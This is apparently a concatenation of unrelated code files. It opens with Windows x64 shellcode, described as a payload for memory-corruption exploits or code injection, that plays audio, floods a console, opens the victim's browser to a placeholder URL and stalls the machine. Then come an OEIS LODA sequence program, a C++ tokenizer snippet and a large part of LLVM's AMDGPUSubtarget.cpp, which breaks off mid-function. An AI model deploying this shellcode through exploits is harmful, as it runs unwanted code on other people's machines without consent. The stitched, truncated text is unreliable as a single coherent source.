[bits 64] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; Win x86-64 shellcode to recreate the Jurassic Park hacking scene on the victim's machine. This ;;; payload is position independent and can be used with most memory corruption exploits or for ;;; code injection. It does contain null bytes (can't get around that because of the embedded WAV). ;;; If you require no nulls, you'll have to encode it. ;;; ;;; - Plays the 'Ah, ah, ah... you didn't say the magic word' audio ;;; - Opens up a command prompt and floods "YOU DIDN'T SAY THE MAGIC WORD" output ;;; - Opens the victims default browser to a web page meant to host the Nedry GIF ;;; - Sleeps for 30 seconds for extra torment factor ;;; ;;; Tested on Windows 10 x64 Fall Creators Update. Should run on any Windows x64 OS. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; Clear the direction flag and call/pop to load the address for api_call into rbp start: cld ; clear direction flag and rsp, 0xfffffffffffffff0 ; Ensure RSP is 16 byte aligned call setup_console ; call/pop to get addr of api_call in rbp ;;; Stub debo'd from Metasploit that iterates the kernel32 EAT until it finds a function name ;;; matching the supplied hash. It then tail calls into the procedure address. %include "./api.asm" ;;; Open a console window (if not already running inside of a console app) and get a console handle setup_console: pop rbp ; address of api_call mov r10d, 0xd975e69d ; hash for kernel32!AllocConsole call rbp ; lookup hash and call AllocConsole mov rcx, -11 ; STD_OUTPUT_HANDLE mov r10d, 0x53cabb18 ; hash for kernel32!GetStdHandle call rbp ; lookup hash and call GetStdHandle call flood_message ; call/pop to get addr of output command: db "YOU DIDN'T SAY THE MAGIC WORD!", 0x0a ;;; Pop off the address of the message above and output the message to the console 50 times flood_message: mov r12, rax ; preserve handle to console pop r13 ; pointer to message text mov rdi, 0x32 ; loop fitty times message_loop: mov rcx, r12 ; HANDLE hConsoleOutput mov rdx, r13 ; VOID lpBuffer mov r8, 0x1f ; DWORD nNumberOfCharsToWrite xor r9, r9 ; NumberOfCharsWritten sub rsp, 0x8 ; call_api allocs for 4 params - alloc another 8 for 5th param mov qword [rsp+0x20], rax ; LPVOID lpReserved mov r10d, 0x5dcb5d71 ; hash for kernel32!WriteConsoleA call rbp ; lookup hash and call WriteConsoleA add rsp, 0x8 ; re-align dec rdi ; decrement loop counter (also sets ZF) jnz message_loop ; if rdi != 0 do it again ;;; Load winmm.dll using LoadLibrary API load_winmm: mov rcx, 0x000000000000006c ; push winmm.dll to stack push rcx ; .. mov rcx, 0x6c642e6d6d6e6977 ; .. push rcx ; .. mov rcx, rsp ; LPCTSTR lpFileName mov r10d, 0x0726774C ; hash for kernel32!LoadLibraryA call rbp ; lookup hash and call LoadLibraryA ;;; Get address for PlaySound procedure using GetProcAddress get_playsound_addr: mov rcx, rax ; HMODULE hModule mov rdx, 0x0000000000000064 ; push 'PlaySound' to the stack push rdx ; .. mov rdx, 0x6e756f5379616c50 ; .. push rdx ; .. mov rdx, rsp ; LPCSTR lpProcName mov r10d, 0x7802f749 ; hash for kernel32!GetProcAddress call rbp ; lookup hash and call GetProcAddress mov r14, rax ; preserve addr of PlaySound in r14 jmp call_load_wav ; jmp/call/pop to get addr of WAV buffer ;;; Load the WAV file from memory and play it asynchronously load_wav: pop rcx ; LPCTSTR pszSound - pointer to WAV buffer sub rsp, 0x20 ; shadow space xor rdx, rdx ; HMODULE hmod mov r8, 0x000000000000000d ; DWORD fdwSound - SND_MEMORY (4) | SND_ASYNC (1) | SND_LOOP (8) call rax ; call PlaySound add rsp, 0x20 ; re-align ;;; Load shell32.dll load_shell32: mov rcx, 0x00000000006c6c64 ; push 'shell32.dll' to stack push rcx ; .. mov rcx, 0x2e32336c6c656873 ; .. push rcx ; .. mov rcx, rsp ; LPCTSTR lpFileName mov r10d, 0x0726774C ; hash for kernel32!LoadLibraryA call rbp ; lookup hash and call LoadLibraryA ;;; Get address for ShellExecuteA procedure using GetProcAddress get_shellexecutea_addr: mov rcx, rax ; HMODULE hModule mov rdx, 0x0000004165747563 ; push 'ShellExecuteA' to the stack push rdx ; .. mov rdx, 0x6578456c6c656853 ; .. push rdx ; .. mov rdx, rsp ; LPCSTR lpProcName mov r10d, 0x7802f749 ; hash for kernel32!GetProcAddress call rbp ; lookup hash and call GetProcAddress call pop_nedry ; call/pop to get addr for nedry URL ;;; Placeholder for up-to 64 character URL for Nedry GIF page nedry_url: db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ;;; Open the target's default browser and point it to the URL hosting Nedry HTML pop_nedry: xor rcx, rcx ; HWND hwnd pop r8 ; LPCTSTR lpFile mov rdx, 0x000000006e65706f ; push 'open' to the stack push rdx ; .. mov rdx, rsp ; LPCTSTR lpOperation xor r9, r9 ; lpParameters sub rsp, 0x38 ; f*cking shadow space xor r11, r11 ; LPCTSTR lpParameters mov qword [rsp+32], r11 ; LPCTSTR lpDirectory mov qword [rsp+40], 0x1 ; INT nShowCmd (SW_SHOWNORMAL) call rax ; call ShellExecuteA add rsp, 0x38 ; re-align ;;; Sleep for 30 seconds while the audio plays sleep_while_tormenting_target: mov rcx, 0x7530 ; DWORD dwMilliseconds mov r10d, 0xe035f044 ; hash for kernel32!Sleep call rbp ; lookup hash and call Sleep ;;; Unload the WAV file and terminate the audio stop_wav: sub rsp, 0x20 ; shadow space xor rcx, rcx ; LPCTSTR pszSound - pointer to WAV buffer xor rdx, rdx ; HMODULE hmod xor r8, r8 ; DWORD fdwSound call r14 ; call PlaySound add rsp, 0x20 ; re-align ;;; Reset stack and return (thrown off by shadow alignment by api_call and string pushes) cleanup: add rsp, 0x770 ; restore the stack ret ; return ;;; Call/pop to get address of the WAV buffer for load_wav call_load_wav: call load_wav ; call/pop to get addr of WAV buffer ;;; From here on down is the WAV file data incbin "../resources/magicwrd.wav"
; A277782: Number of n X 2 0..2 arrays with every element equal to some element at offset (-1,-1) (-1,0) (-1,1) (0,-1) (0,1) (1,-1) or (1,0) both plus 1 mod 3 and minus 1 mod 3, with new values introduced in order 0..2. ; Submitted by Christian Krause ; 0,3,12,84,498,3090,18930,116382,714810,4391526,26977818,165732438,1018135578,6254670486,38424042426,236048762550,1450108129242,8908386492054,54726504918906,336198967755510,2065356559176474,12688015508413014,77945736208943802,478840665756964278,2941641125405893722,18071256535831520022,111016367687862964218,682002043973531618934,4189713622155572688282,25738486256438938607574,158118127995598084830522,971360248296568496883510,5967315347908993531416282,36658749957943927123166358 mov $2,5 lpb $0 sub $0,1 mov $1,$2 add $4,$2 add $4,$3 mul $3,3 add $4,$2 mov $2,$4 add $2,$3 mul $2,2 mov $3,$1 lpe mov $0,$1 div $0,5 mul $0,3
#include "alloy/core/string/string_tokenizer.hpp" auto alloy::core::get_message(tokenizer_error error) noexcept -> zstring_view { switch (error) { case tokenizer_error::none: { return "no error"; } case tokenizer_error::out_of_tokens: { return "out of tokens"; } } ALLOY_ASSERT(false, "Invalid error input"); ALLOY_UNREACHABLE(); }
//===-- AMDGPUSubtarget.cpp - AMDGPU Subtarget Information ----------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // /// \file /// Implements the AMDGPU specific subclass of TargetSubtarget. // //===----------------------------------------------------------------------===// #include "AMDGPUSubtarget.h" #include "AMDGPU.h" #include "AMDGPUTargetMachine.h" #include "AMDGPUCallLowering.h" #include "AMDGPUInstructionSelector.h" #include "AMDGPULegalizerInfo.h" #include "AMDGPURegisterBankInfo.h" #include "SIMachineFunctionInfo.h" #include "MCTargetDesc/AMDGPUMCTargetDesc.h" #include "llvm/ADT/SmallString.h" #include "llvm/CodeGen/MachineScheduler.h" #include "llvm/MC/MCSubtargetInfo.h" #include "llvm/IR/MDBuilder.h" #include "llvm/CodeGen/TargetFrameLowering.h" #include <algorithm> using namespace llvm; #define DEBUG_TYPE "amdgpu-subtarget" #define GET_SUBTARGETINFO_TARGET_DESC #define GET_SUBTARGETINFO_CTOR #define AMDGPUSubtarget GCNSubtarget #include "AMDGPUGenSubtargetInfo.inc" #define GET_SUBTARGETINFO_TARGET_DESC #define GET_SUBTARGETINFO_CTOR #undef AMDGPUSubtarget #include "R600GenSubtargetInfo.inc" static cl::opt<bool> DisablePowerSched( "amdgpu-disable-power-sched", cl::desc("Disable scheduling to minimize mAI power bursts"), cl::init(false)); static cl::opt<bool> EnableVGPRIndexMode( "amdgpu-vgpr-index-mode", cl::desc("Use GPR indexing mode instead of movrel for vector indexing"), cl::init(false)); GCNSubtarget::~GCNSubtarget() = default; R600Subtarget & R600Subtarget::initializeSubtargetDependencies(const Triple &TT, StringRef GPU, StringRef FS) { SmallString<256> FullFS("+promote-alloca,"); FullFS += FS; ParseSubtargetFeatures(GPU, FullFS); HasMulU24 = getGeneration() >= EVERGREEN; HasMulI24 = hasCaymanISA(); return *this; } GCNSubtarget & GCNSubtarget::initializeSubtargetDependencies(const Triple &TT, StringRef GPU, StringRef FS) { // Determine default and user-specified characteristics // // We want to be able to turn these off, but making this a subtarget feature // for SI has the unhelpful behavior that it unsets everything else if you // disable it. // // Similarly we want enable-prt-strict-null to be on by default and not to // unset everything else if it is disabled // Assuming ECC is enabled is the conservative default. SmallString<256> FullFS("+promote-alloca,+load-store-opt,+enable-ds128,+sram-ecc,+xnack,"); if (isAmdHsaOS()) // Turn on FlatForGlobal for HSA. FullFS += "+flat-for-global,+unaligned-buffer-access,+trap-handler,"; FullFS += "+enable-prt-strict-null,"; // This is overridden by a disable in FS // Disable mutually exclusive bits. if (FS.find_lower("+wavefrontsize") != StringRef::npos) { if (FS.find_lower("wavefrontsize16") == StringRef::npos) FullFS += "-wavefrontsize16,"; if (FS.find_lower("wavefrontsize32") == StringRef::npos) FullFS += "-wavefrontsize32,"; if (FS.find_lower("wavefrontsize64") == StringRef::npos) FullFS += "-wavefrontsize64,"; } FullFS += FS; ParseSubtargetFeatures(GPU, FullFS); // We don't support FP64 for EG/NI atm. assert(!hasFP64() || (getGeneration() >= AMDGPUSubtarget::SOUTHERN_ISLANDS)); // Unless +-flat-for-global is specified, turn on FlatForGlobal for all OS-es // on VI and newer hardware to avoid assertion failures due to missing ADDR64 // variants of MUBUF instructions. if (!hasAddr64() && !FS.contains("flat-for-global")) { FlatForGlobal = true; } // Set defaults if needed. if (MaxPrivateElementSize == 0) MaxPrivateElementSize = 4; if (LDSBankCount == 0) LDSBankCount = 32; if (TT.getArch() == Triple::amdgcn) { if (LocalMemorySize == 0) LocalMemorySize = 32768; // Do something sensible for unspecified target. if (!HasMovrel && !HasVGPRIndexMode) HasMovrel = true; } // Don't crash on invalid devices. if (WavefrontSizeLog2 == 0) WavefrontSizeLog2 = 5; HasFminFmaxLegacy = getGeneration() < AMDGPUSubtarget::VOLCANIC_ISLANDS; // Disable XNACK on targets where it is not enabled by default unless it is // explicitly requested. if (!FS.contains("+xnack") && DoesNotSupportXNACK && EnableXNACK) { ToggleFeature(AMDGPU::FeatureXNACK); EnableXNACK = false; } // ECC is on by default, but turn it off if the hardware doesn't support it // anyway. This matters for the gfx9 targets with d16 loads, but don't support // ECC. if (DoesNotSupportSRAMECC && EnableSRAMECC) { ToggleFeature(AMDGPU::FeatureSRAMECC); EnableSRAMECC = false; } return *this; } AMDGPUSubtarget::AMDGPUSubtarget(const Triple &TT) : TargetTriple(TT), Has16BitInsts(false), HasMadMixInsts(false), HasSDWA(false), HasVOP3PInsts(false), HasMulI24(true), HasMulU24(true), HasInv2PiInlineImm(false), HasFminFmaxLegacy(true), EnablePromoteAlloca(false), HasTrigReducedRange(false), MaxWavesPerEU(10), LocalMemorySize(0), WavefrontSizeLog2(0) { } GCNSubtarget::GCNSubtarget(const Triple &TT, StringRef GPU, StringRef FS, const GCNTargetMachine &TM) : AMDGPUGenSubtargetInfo(TT, GPU, FS), AMDGPUSubtarget(TT), TargetTriple(TT), Gen(TT.getOS() == Triple::AMDHSA ? SEA_ISLANDS : SOUTHERN_ISLANDS), InstrItins(getInstrItineraryForCPU(GPU)), LDSBankCount(0), MaxPrivateElementSize(0), FastFMAF32(false), FastDenormalF32(false), HalfRate64Ops(false), FlatForGlobal(false), AutoWaitcntBeforeBarrier(false), CodeObjectV3(false), UnalignedScratchAccess(false), UnalignedBufferAccess(false), HasApertureRegs(false), EnableXNACK(false), DoesNotSupportXNACK(false), EnableCuMode(false), TrapHandler(false), EnableLoadStoreOpt(false), EnableUnsafeDSOffsetFolding(false), EnableSIScheduler(false), EnableDS128(false), EnablePRTStrictNull(false), DumpCode(false), FP64(false), GCN3Encoding(false), CIInsts(false), GFX8Insts(false), GFX9Insts(false), GFX10Insts(false), GFX7GFX8GFX9Insts(false), SGPRInitBug(false), HasSMemRealTime(false), HasIntClamp(false), HasFmaMixInsts(false), HasMovrel(false), HasVGPRIndexMode(false), HasScalarStores(false), HasScalarAtomics(false), HasSDWAOmod(false), HasSDWAScalar(false), HasSDWASdst(false), HasSDWAMac(false), HasSDWAOutModsVOPC(false), HasDPP(false), HasDPP8(false), HasR128A16(false), HasGFX10A16(false), HasG16(false), HasNSAEncoding(false), HasDLInsts(false), HasDot1Insts(false), HasDot2Insts(false), HasDot3Insts(false), HasDot4Insts(false), HasDot5Insts(false), HasDot6Insts(false), HasMAIInsts(false), HasPkFmacF16Inst(false), HasAtomicFaddInsts(false), EnableSRAMECC(false), DoesNotSupportSRAMECC(false), HasNoSdstCMPX(false), HasVscnt(false), HasRegisterBanking(false), HasVOP3Literal(false), HasNoDataDepHazard(false), FlatAddressSpace(false), FlatInstOffsets(false), FlatGlobalInsts(false), FlatScratchInsts(false), ScalarFlatScratchInsts(false), AddNoCarryInsts(false), HasUnpackedD16VMem(false), LDSMisalignedBug(false), HasMFMAInlineLiteralBug(false), ScalarizeGlobal(false), HasVcmpxPermlaneHazard(false), HasVMEMtoScalarWriteHazard(false), HasSMEMtoVectorWriteHazard(false), HasInstFwdPrefetchBug(false), HasVcmpxExecWARHazard(false), HasLdsBranchVmemWARHazard(false), HasNSAtoVMEMBug(false), HasOffset3fBug(false), HasFlatSegmentOffsetBug(false), FeatureDisable(false), InstrInfo(initializeSubtargetDependencies(TT, GPU, FS)), TLInfo(TM, *this), FrameLowering(TargetFrameLowering::StackGrowsUp, getStackAlignment(), 0) { MaxWavesPerEU = AMDGPU::IsaInfo::getMaxWavesPerEU(this); CallLoweringInfo.reset(new AMDGPUCallLowering(*getTargetLowering())); InlineAsmLoweringInfo.reset(new InlineAsmLowering(getTargetLowering())); Legalizer.reset(new AMDGPULegalizerInfo(*this, TM)); RegBankInfo.reset(new AMDGPURegisterBankInfo(*this)); InstSelector.reset(new AMDGPUInstructionSelector( *this, *static_cast<AMDGPURegisterBankInfo *>(RegBankInfo.get()), TM)); } unsigned GCNSubtarget::getConstantBusLimit(unsigned Opcode) const { if (getGeneration() < GFX10) return 1; switch (Opcode) { case AMDGPU::V_LSHLREV_B64: case AMDGPU::V_LSHLREV_B64_gfx10: case AMDGPU::V_LSHL_B64: case AMDGPU::V_LSHRREV_B64: case AMDGPU::V_LSHRREV_B64_gfx10: case AMDGPU::V_LSHR_B64: case AMDGPU::V_ASHRREV_I64: case AMDGPU::V_ASHRREV_I64_gfx10: case AMDGPU::V_ASHR_I64: return 1; } return 2; } unsigned AMDGPUSubtarget::getMaxLocalMemSizeWithWaveCount(unsigned NWaves, const Function &F) const { if (NWaves == 1) return getLocalMemorySize(); unsigned WorkGroupSize = getFlatWorkGroupSizes(F).second; unsigned WorkGroupsPerCu = getMaxWorkGroupsPerCU(WorkGroupSize); if (!WorkGroupsPerCu) return 0; unsigned MaxWaves = getMaxWavesPerEU(); return getLocalMemorySize() * MaxWaves / WorkGroupsPerCu / NWaves; } // FIXME: Should return min,max range. unsigned AMDGPUSubtarget::getOccupancyWithLocalMemSize(uint32_t Bytes, const Function &F) const { const unsigned MaxWorkGroupSize = getFlatWorkGroupSizes(F).second; const unsigned MaxWorkGroupsPerCu = getMaxWorkGroupsPerCU(MaxWorkGroupSize); if (!MaxWorkGroupsPerCu) return 0; const unsigned WaveSize = getWavefrontSize(); // FIXME: Do we need to account for alignment requirement of LDS rounding the // size up? // Compute restriction based on LDS usage unsigned NumGroups = getLocalMemorySize() / (Bytes ? Bytes : 1u); // This can be queried with more LDS than is possible, so just assume the // worst. if (NumGroups == 0) return 1; NumGroups = std::min(MaxWorkGroupsPerCu, NumGroups); // Round to the number of waves. const unsigned MaxGroupNumWaves = (MaxWorkGroupSize + WaveSize - 1) / WaveSize; unsigned MaxWaves = NumGroups * MaxGroupNumWaves; // Clamp to the maximum possible number of waves. MaxWaves = std::min(MaxWaves, getMaxWavesPerEU()); // FIXME: Needs to be a multiple of the group size? //MaxWaves = MaxGroupNumWaves * (MaxWaves / MaxGroupNumWaves); assert(MaxWaves > 0 && MaxWaves <= getMaxWavesPerEU() && "computed invalid occupancy"); return MaxWaves; } unsigned AMDGPUSubtarget::getOccupancyWithLocalMemSize(const MachineFunction &MF) const { const auto *MFI = MF.getInfo<SIMachineFunctionInfo>(); return getOccupancyWithLocalMemSize(MFI->getLDSSize(), MF.getFunction()); } std::pair<unsigned, unsigned> AMDGPUSubtarget::getDefaultFlatWorkGroupSize(CallingConv::ID CC) const { switch (CC) { case CallingConv::AMDGPU_VS: case CallingConv::AMDGPU_LS: case CallingConv::AMDGPU_HS: case CallingConv::AMDGPU_ES: case CallingConv::AMDGPU_GS: case CallingConv::AMDGPU_PS: return std::make_pair(1, getWavefrontSize()); default: return std::make_pair(1u, getMaxFlatWorkGroupSize()); } } std::pair<unsigned, unsigned> AMDGPUSubtarget::getFlatWorkGroupSizes( const Function &F) const { // Default minimum/maximum flat work group sizes. std::pair<unsigned, unsigned> Default = getDefaultFlatWorkGroupSize(F.getCallingConv()); // Requested minimum/maximum flat work group sizes. std::pair<unsigned, unsigned> Requested = AMDGPU::getIntegerPairAttribute( F, "amdgpu-flat-work-group-size", Default); // Make sure requested minimum is less than requested maximum. if (Requested.first > Requested.second) return Default; // Make sure requested values do not violate subtarget's specifications. if (Requested.first < getMinFlatWorkGroupSize()) return Default; if (Requested.second > getMaxFlatWorkGroupSize()) return Default; return Requested; } std::pair<unsigned, unsigned> AMDGPUSubtarget::getWavesPerEU( const Function &F) const { // Default minimum/maximum number of waves per execution unit. std::pair<unsigned, unsigned> Default(1, getMaxWavesPerEU()); // Default/requested minimum/maximum flat work group sizes. std::pair<unsigned, unsigned> FlatWorkGroupSizes = getFlatWorkGroupSizes(F); // If minimum/maximum flat work group sizes were explicitly requested using // "amdgpu-flat-work-group-size" attribute, then set default minimum/maximum // number of waves per execution unit to values implied by requested // minimum/maximum flat work group sizes. unsigned MinImpliedByFlatWorkGroupSize = getWavesPerEUForWorkGroup(FlatWorkGroupSizes.second); bool RequestedFlatWorkGroupSize = false; if (F.hasFnAttribute("amdgpu-flat-work-group-size")) { Default.first = MinImpliedByFlatWorkGroupSize; RequestedFlatWorkGroupSize = true; } // Requested minimum/maximum number of waves per execution unit. std::pair<unsigned, unsigned> Requested = AMDGPU::getIntegerPairAttribute( F, "amdgpu-waves-per-eu", Default, true); // Make sure requested minimum is less than requested maximum. if (Requested.second && Requested.first > Requested.second) return Default; // Make sure requested values do not violate subtarget's specifications. if (Requested.first < getMinWavesPerEU() || Requested.first > getMaxWavesPerEU()) return Default; if (Requested.second > getMaxWavesPerEU()) return Default; // Make sure requested values are compatible with values implied by requested // minimum/maximum flat work group sizes. if (RequestedFlatWorkGroupSize && Requested.first < MinImpliedByFlatWorkGroupSize) return Default; return Requested; } bool AMDGPUSubtarget::makeLIDRangeMetadata(Instruction *I) const { Function *Kernel = I->getParent()->getParent(); unsigned MinSize = 0; unsigned MaxSize = getFlatWorkGroupSizes(*Kernel).second; bool IdQuery = false; // If reqd_work_group_size is present it narrows value down. if (auto *CI = dyn_cast<CallInst>(I)) { const Function *F = CI->getCalledFunction(); if (F) { unsigned Dim = UINT_MAX; switch (F->getIntrinsicID()) { case Intrinsic::amdgcn_workitem_id_x: case Intrinsic::r600_read_tidig_x: IdQuery = true; LLVM_FALLTHROUGH; case Intrinsic::r600_read_local_size_x: Dim = 0; break; case Intrinsic::amdgcn_workitem_id_y: case Intrinsic::r600_read_tidig_y: IdQuery = true; LLVM_FALLTHROUGH; case Intrinsic::r600_read_local_size_y: Dim = 1; break; case Intrinsic::amdgcn_workitem_id_z: case Intrinsic::r600_read_tidig_z: IdQuery = true; LLVM_FALLTHROUGH; case Intrinsic::r600_read_local_size_z: Dim = 2; break; default: break; } if (Dim <= 3) { if (auto Node = Kernel->getMetadata("reqd_work_group_size")) if (Node->getNumOperands() == 3) MinSize = MaxSize = mdconst::extract<ConstantInt>( Node->getOperand(Dim))->getZExtValue(); } } } if (!MaxSize) return false; // Range metadata is [Lo, Hi). For ID query we need to pass max size // as Hi. For size query we need to pass Hi + 1. if (IdQuery) MinSize = 0; else ++MaxSize; MDBuilder MDB(I->getContext()); MDNode *MaxWorkGroupSizeRange = MDB.createRange(APInt(32, MinSize), APInt(32, MaxSize)); I->setMetadata(LLVMContext::MD_range, MaxWorkGroupSizeRange); return true; } uint64_t AMDGPUSubtarget::getExplicitKernArgSize(const Function &F, Align &MaxAlign) const { assert(F.getCallingConv() == CallingConv::AMDGPU_KERNEL || F.getCallingConv() == CallingConv::SPIR_KERNEL); const DataLayout &DL = F.getParent()->getDataLayout(); uint64_t ExplicitArgBytes = 0; MaxAlign = Align(1); for (const Argument &Arg : F.args()) { Type *ArgTy = Arg.getType(); const Align Alignment(DL.getABITypeAlignment(ArgTy)); uint64_t AllocSize = DL.getTypeAllocSize(ArgTy); ExplicitArgBytes = alignTo(ExplicitArgBytes, Alignment) + AllocSize; MaxAlign = std::max(MaxAlign, Alignment); } return ExplicitArgBytes; } unsigned AMDGPUSubtarget::getKernArgSegmentSize(const Function &F, Align &MaxAlign) const { uint64_t ExplicitArgBytes = getExplicitKernArgSize(F, MaxAlign); unsigned ExplicitOffset = getExplicitKernelArgOffset(F); uint64_t TotalSize = ExplicitOffset + ExplicitArgBytes; unsigned ImplicitBytes = getImplicitArgNumBytes(F); if (ImplicitBytes != 0) { const Align Alignment = getAlignmentForImplicitArgPtr(); TotalSize = alignTo(ExplicitArgBytes, Alignment) + ImplicitBytes; } // Being able to dereference past the end is useful for emitting scalar loads. return alignTo(TotalSize, 4); } R600Subtarget::R600Subtarget(const Triple &TT, StringRef GPU, StringRef FS, const TargetMachine &TM) : R600GenSubtargetInfo(TT, GPU, FS), AMDGPUSubtarget(TT), InstrInfo(*this), FrameLowering(TargetFrameLowering::StackGrowsUp, getStackAlignment(), 0), FMA(false), CaymanISA(false), CFALUBug(false), HasVertexCache(false), R600ALUInst(false), FP64(false), TexVTXClauseSize(0), Gen(R600), TLInfo(TM, initializeSubtargetDependencies(TT, GPU, FS)), InstrItins(getInstrItineraryForCPU(GPU)) { } void GCNSubtarget::overrideSchedPolicy(MachineSchedPolicy &Policy, unsigned NumRegionInstrs) const { // Track register pressure so the scheduler can try to decrease // pressure once register usage is above the threshold defined by // SIRegisterInfo::getRegPressureSetLimit() Policy.ShouldTrackPressure = true; // Enabling both top down and bottom up scheduling seems to give us less // register spills than just using one of these approaches on its own. Policy.OnlyTopDown = false; Policy.OnlyBottomUp = false; // Enabling ShouldTrackLaneMasks crashes the SI Machine Scheduler. if (!enableSIScheduler()) Policy.ShouldTrackLaneMasks = true; } bool GCNSubtarget::hasMadF16() const { return InstrInfo.pseudoToMCOpcode(AMDGPU::V_MAD_F16) != -1; } bool GCNSubtarget::useVGPRIndexMode() const { return !hasMovrel() || (EnableVGPRIndexMode && hasVGPRIndexMode()); } unsigned GCNSubtarget::getOccupancyWithNumSGPRs(unsigned SGPRs) const { if (getGeneration() >= AMDGPUSubtarget::GFX10) return getMaxWavesPerEU(); if (getGeneration() >= AMDGPUSubtarget::VOLCANIC_ISLANDS) { if (SGPRs <= 80) return 10; if (SGPRs <= 88) return 9; if (SGPRs <= 100) return 8; return 7; } if (SGPRs <= 48) return 10; if (SGPRs <= 56) return 9; if (SGPRs <= 64) return 8; if (SGPRs <= 72) return 7; if (SGPRs <= 80) return 6; return 5; } unsigned GCNSubtarget::getOccupancyWithNumVGPRs(unsigned VGPRs) const { unsigned MaxWaves = getMaxWavesPerEU(); unsigned Granule = getVGPRAllocGranule(); if (VGPRs < Granule) return MaxWaves; unsigned RoundedRegs = ((VGPRs + Granule - 1) / Granule) * Granule; return std::min(std::max(getTotalNumVGPRs() / RoundedRegs, 1u), MaxWaves); } unsigned GCNSubtarget::getReservedNumSGPRs(const MachineFunction &MF) const { const SIMachineFunctionInfo &MFI = *MF.getInfo<SIMachineFunctionInfo>(); if (getGeneration() >= AMDGPUSubtarget::GFX10) return 2; // VCC. FLAT_SCRATCH and XNACK are no longer in SGPRs. if (MFI.hasFlatScratchInit()) { if (getGeneration() >= AMDGPUSubtarget::VOLCANIC_ISLANDS) return 6; // FLAT_SCRATCH, XNACK, VCC (in that order). if (getGeneration() == AMDGPUSubtarget::SEA_ISLANDS) return 4; // FLAT_SCRATCH, VCC (in that order). } if (isXNACKEnabled()) return 4; // XNACK, VCC (in that order). return 2; // VCC. } unsigned GCNSubtarget::computeOccupancy(const MachineFunction &MF, unsigned LDSSize, unsigned NumSGPRs, unsigned NumVGPRs) const { unsigned Occupancy = std::min(getMaxWavesPerEU(), getOccupancyWithLocalMemSize(LDSSize, MF.getFunction())); if (NumSGPRs) Occupancy = std::min(Occupancy, getOccupancyWithNumSGPRs(NumSGPRs)); if (NumVGPRs) Occupancy = std::min(Occupancy, getOccupancyWithNumVGPRs(NumVGPRs)); return Occupancy; } unsigned GCNSubtarget::getMaxNumSGPRs(const MachineFunction &MF) const { const Function &F = MF.getFunction(); const SIMachineFunctionInfo &MFI = *MF.getInfo<SIMachineFunctionInfo>(); // Compute maximum number of SGPRs function can use using default/requested // minimum number of waves per execution unit. std::pair<unsigned, unsigned> WavesPerEU = MFI.getWavesPerEU(); unsigned MaxNumSGPRs = getMaxNumSGPRs(WavesPerEU.first, false); unsigned MaxAddressableNumSGPRs = getMaxNumSGPRs(WavesPerEU.first, true); // Check if maximum number of SGPRs was explicitly requested using // "amdgpu-num-sgpr" attribute. if (F.hasFnAttribute("amdgpu-num-sgpr")) { unsigned Requested = AMDGPU::getIntegerAttribute( F, "amdgpu-num-sgpr", MaxNumSGPRs); // Make sure requested value does not violate subtarget's specifications. if (Requested && (Requested <= getReservedNumSGPRs(MF))) Requested = 0; // If more SGPRs are required to support the input user/system SGPRs, // increase to accommodate them. // // FIXME: This really ends up using the requested number of SGPRs + number // of reserved special registers in total. Theoretically you could re-use // the last input registers for these special registers, but this would // require a lot of complexity to deal with the weird aliasing. unsigned InputNumSGPRs = MFI.getNumPreloadedSGPRs(); if (Requested && Requested < InputNumSGPRs) Requested = InputNumSGPRs; // Make sure requested value is compatible with values implied by // default/requested minimum/maximum number of waves per execution unit. if (Requested && Requested > getMaxNumSGPRs(WavesPerEU.first, false)) Requested = 0; if (WavesPerEU.second && Requested && Requested < getMinNumSGPRs(WavesPerEU.second)) Requested = 0; if (Requested) MaxNumSGPRs = Requested; } if (hasSGPRInitBug()) MaxNumSGPRs = AMDGPU::IsaInfo::FIXED_NUM_SGPRS_FOR_INIT_BUG; return std::min(MaxNumSGPRs - getReservedNumSGPRs(MF), MaxAddressableNumSGPRs); } unsigned GCNSubtarget::getMaxNumVGPRs(const MachineFunction &MF) const { const Function &F = MF.getFunction(); const SIMachineFunctionInfo &MFI = *MF.getInfo<SIMachineFunctionInfo>(); // Compute maximum number of VGPRs function can use using default/requested // minimum number of waves per execution unit. std::pair<unsigned, unsigned> WavesPerEU = MFI.getWavesPerEU(); unsigned MaxNumVGPRs = getMaxNumVGPRs(WavesPerEU.first); // Check if maximum number of VGPRs was explicitly requested using // "amdgpu-num-vgpr" attribute. if (F.hasFnAttribute("amdgpu-num-vgpr")) { unsigned Requested = AMDGPU::getIntegerAttribute( F, "amdgpu-num-vgpr", MaxNumVGPRs); // Make sure requested value is compatible with values implied by // default/requested minimum/maximum number of waves per execution unit. if (Requested && Requested > getMaxNumVGPRs(WavesPerEU.first)) Requested = 0; if (WavesPerEU.second && Requested && Requested < getMinNumVGPRs(WavesPerEU.second)) Requested = 0; if (Requested) MaxNumVGPRs = Requested; } return MaxNumVGPRs; } void GCNSubtarget::adjustSchedDependency(SUnit *Def, int DefOpIdx, SUnit *Use, int UseOpIdx, SDep &Dep) const { if (Dep.getKind() != SDep::Kind::Data || !Dep.getReg() || !Def->isInstr() || !Use->isInstr()) return; MachineInstr *DefI = Def->getInstr(); MachineInstr *UseI = Use->getInstr(); if (DefI->isBundle()) { const SIRegisterInfo *TRI = getRegisterInfo(); auto Reg = Dep.getReg(); MachineBasicBlock::const_instr_iterator I(DefI->getIterator()); MachineBasicBlock::const_instr_iterator E(DefI->getParent()->instr_end()); unsigned Lat = 0; for (++I; I != E && I->isBundledWithPred(); ++I) { if (I->modifiesRegister(Reg, TRI)) Lat = InstrInfo.getInstrLatency(getInstrItineraryData(), *I); else if (Lat) --Lat; } Dep.setLatency(Lat); } else if (UseI->isBundle()) { const SIRegisterInfo *TRI = getRegisterInfo(); auto Reg = Dep.getReg(); 